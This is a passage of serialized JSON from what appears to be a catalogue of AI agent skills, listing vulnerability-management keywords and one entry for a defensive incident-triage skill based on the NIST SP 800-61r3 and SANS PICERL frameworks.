framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":278,"name":279,"nameZh":6,"description":280,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":281,"categories":282,"keywords":284,"publishedAt":39},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[283],{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[160,285,38,286,287,288,289,290,291,292,293,28,294,220,295,296,297,298,299,300],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]